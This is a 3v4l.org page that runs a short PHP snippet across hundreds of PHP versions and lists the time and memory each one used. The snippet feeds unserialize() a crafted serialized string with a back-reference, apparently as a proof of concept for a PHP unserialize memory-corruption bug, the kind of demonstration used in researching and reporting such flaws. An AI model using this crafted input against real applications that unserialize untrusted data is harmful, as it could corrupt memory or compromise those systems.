3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0030.01016.75
8.3.50.0100.00822.11
8.3.40.0040.01118.98
8.3.30.0110.00418.51
8.3.20.0040.00420.16
8.3.10.0000.00821.95
8.3.00.0110.00019.11
8.2.180.0150.00018.04
8.2.170.0090.00622.96
8.2.160.0130.00020.43
8.2.150.0040.00424.18
8.2.140.0030.00524.66
8.2.130.0040.00426.16
8.2.120.0060.00317.63
8.2.110.0030.00620.34
8.2.100.0040.00817.91
8.2.90.0040.00419.08
8.2.80.0000.00817.97
8.2.70.0080.00317.63
8.2.60.0000.00917.78
8.2.50.0050.00318.07
8.2.40.0040.00421.10
8.2.30.0000.00720.63
8.2.20.0060.00317.63
8.2.10.0070.00018.07
8.2.00.0000.00718.21
8.1.280.0090.00925.92
8.1.270.0090.00023.77
8.1.260.0000.00826.35
8.1.250.0050.00328.09
8.1.240.0040.00722.13
8.1.230.0000.01122.62
8.1.220.0090.00017.79
8.1.210.0080.00018.77
8.1.200.0000.01017.35
8.1.190.0000.00817.00
8.1.180.0000.00818.10
8.1.170.0030.00720.25
8.1.160.0040.00422.04
8.1.150.0030.00318.92
8.1.140.0060.00319.59
8.1.130.0070.00017.70
8.1.120.0040.00417.48
8.1.110.0050.00317.52
8.1.100.0030.00517.45
8.1.90.0000.00817.52
8.1.80.0000.00817.51
8.1.70.0040.00417.46
8.1.60.0040.00417.61
8.1.50.0030.00617.46
8.1.40.0050.00317.44
8.1.30.0000.00817.57
8.1.20.0060.00317.55
8.1.10.0060.00317.41
8.1.00.0000.00817.36
8.0.300.0040.00418.77
8.0.290.0000.00716.75
8.0.280.0040.00418.36
8.0.270.0000.00717.29
8.0.260.0030.00317.28
8.0.250.0000.00717.09
8.0.240.0000.00816.94
8.0.230.0000.00717.02
8.0.220.0000.00716.87
8.0.210.0000.00716.98
8.0.200.0040.00417.04
8.0.190.0000.00916.89
8.0.180.0040.00416.96
8.0.170.0050.00317.02
8.0.160.0070.00016.93
8.0.150.0020.00516.86
8.0.140.0000.00716.84
8.0.130.0070.00013.35
8.0.120.0030.00617.00
8.0.110.0030.00516.96
8.0.100.0000.00916.84
8.0.90.0000.00816.85
8.0.80.0030.01616.96
8.0.70.0050.00216.96
8.0.60.0000.00717.05
8.0.50.0070.00017.01
8.0.30.0100.01017.25
8.0.20.0100.00917.40
8.0.10.0040.00417.09
8.0.00.0080.00916.96
7.4.330.0000.00515.08
7.4.320.0030.00316.46
7.4.300.0030.00316.64
7.4.290.0000.00716.61
7.4.280.0000.00716.61
7.4.270.0000.00716.57
7.4.260.0060.00316.57
7.4.250.0030.00516.63
7.4.240.0020.00516.52
7.4.230.0070.00016.65
7.4.220.0070.01116.63
7.4.210.0150.00616.57
7.4.200.0000.00716.71
7.4.160.0100.00516.49
7.4.150.0090.00917.40
7.4.140.0150.00717.86
7.4.130.0100.00916.52
7.4.120.0090.01016.55
7.4.110.0100.00716.66
7.4.100.0100.00816.46
7.4.90.0110.00716.80
7.4.80.0120.00619.39
7.4.70.0070.01116.53
7.4.60.0110.00616.48
7.4.50.0000.00816.60
7.4.40.0060.01216.64
7.4.30.0060.01516.40
7.4.00.0040.01115.00
7.3.330.0030.00313.25
7.3.320.0030.00313.39
7.3.310.0030.00316.43
7.3.300.0030.00316.34
7.3.290.0070.00716.40
7.3.280.0060.01016.36
7.3.270.0070.01017.40
7.3.260.0140.00316.57
7.3.250.0090.01016.47
7.3.240.0070.01216.57
7.3.230.0060.01216.39
7.3.210.0100.00716.61
7.3.200.0130.00416.38
7.3.190.0060.01216.59
7.3.180.0090.00916.43
7.3.170.0060.00916.62
7.3.160.0030.01316.47
7.2.330.0110.00716.72
7.2.320.0040.01816.79
7.2.310.0060.01216.65
7.2.300.0090.00816.57
7.2.290.0100.01116.73
7.2.110.0180.00616.74
7.2.60.0030.01217.00
7.2.00.0030.00919.10
7.1.200.0060.00615.56
7.1.100.0110.00418.15
7.1.70.0040.00417.01
7.1.60.0130.01019.13
7.1.50.0070.01716.77
7.1.00.0000.08022.50
7.0.200.0130.00714.96
7.0.60.0200.05019.94
7.0.50.0000.04717.89
7.0.40.0130.08320.11
7.0.30.0370.07720.06
7.0.20.0400.07020.23
7.0.10.0300.07320.33
7.0.00.0100.04320.13
5.6.280.0000.04020.91
5.6.210.0070.08020.71
5.6.200.0100.08318.14
5.6.190.0130.03320.55
5.6.180.0070.08320.63
5.6.170.0230.05720.47
5.6.160.0070.04720.52
5.6.150.0030.07718.15
5.6.140.0030.07718.14
5.6.130.0070.08018.12
5.6.120.0070.08321.13
5.6.110.0030.05321.13
5.6.100.0200.07021.11
5.6.90.0000.04721.11
5.6.80.0170.06320.35
5.6.70.0400.07020.37
5.5.350.0070.08720.41
5.5.340.0070.04018.08
5.5.330.0030.04020.53
5.5.320.0100.06320.41
5.5.310.0170.04020.25
5.5.300.0030.04717.93
5.5.290.0130.08017.98
5.5.280.0070.05320.73
5.5.270.0130.07020.68
5.5.260.0030.05320.76
5.5.250.0100.04720.43
5.5.240.0030.07720.07
5.4.450.0100.06319.54
5.4.440.0070.05719.63
5.4.430.0000.06319.54
5.4.420.0130.07019.54
5.4.410.0070.05719.50
5.4.400.0100.05318.97
5.4.390.0130.04719.01
5.4.380.0070.05318.82
5.4.370.0100.05319.22
5.4.360.0130.05719.16
5.4.350.0300.05318.91
5.4.340.0300.05718.99
5.4.320.0300.05318.95
5.4.310.0370.05319.23
5.4.300.0130.06319.19
5.4.290.0130.05718.92
5.4.280.0200.05319.19
5.4.270.0070.06719.30
5.4.260.0200.05719.18
5.4.250.0230.06318.94
5.4.240.0170.06019.15
5.4.230.0270.05718.80
5.4.220.0170.05719.24
5.4.210.0100.06019.07
5.4.200.0130.05319.23
5.4.190.0230.07319.19
5.4.180.0170.05719.24
5.4.170.0170.05019.30
5.4.160.0130.06018.75
5.4.150.0400.07019.14
5.4.140.0230.06716.30
5.4.130.0200.05016.52
5.4.120.0400.05316.46
5.4.110.0230.05016.57
5.4.100.0170.05016.55
5.4.90.0270.03716.55
5.4.80.0230.05016.45
5.4.70.0470.04716.54
5.4.60.0430.04716.37
5.4.50.0130.05316.26
5.4.40.0330.04316.44
5.4.30.0200.04716.44
5.4.20.0170.05016.40
5.4.10.0170.05716.44
5.4.00.0230.05315.95

preferences:
42.66 ms | 401 KiB | 5 Q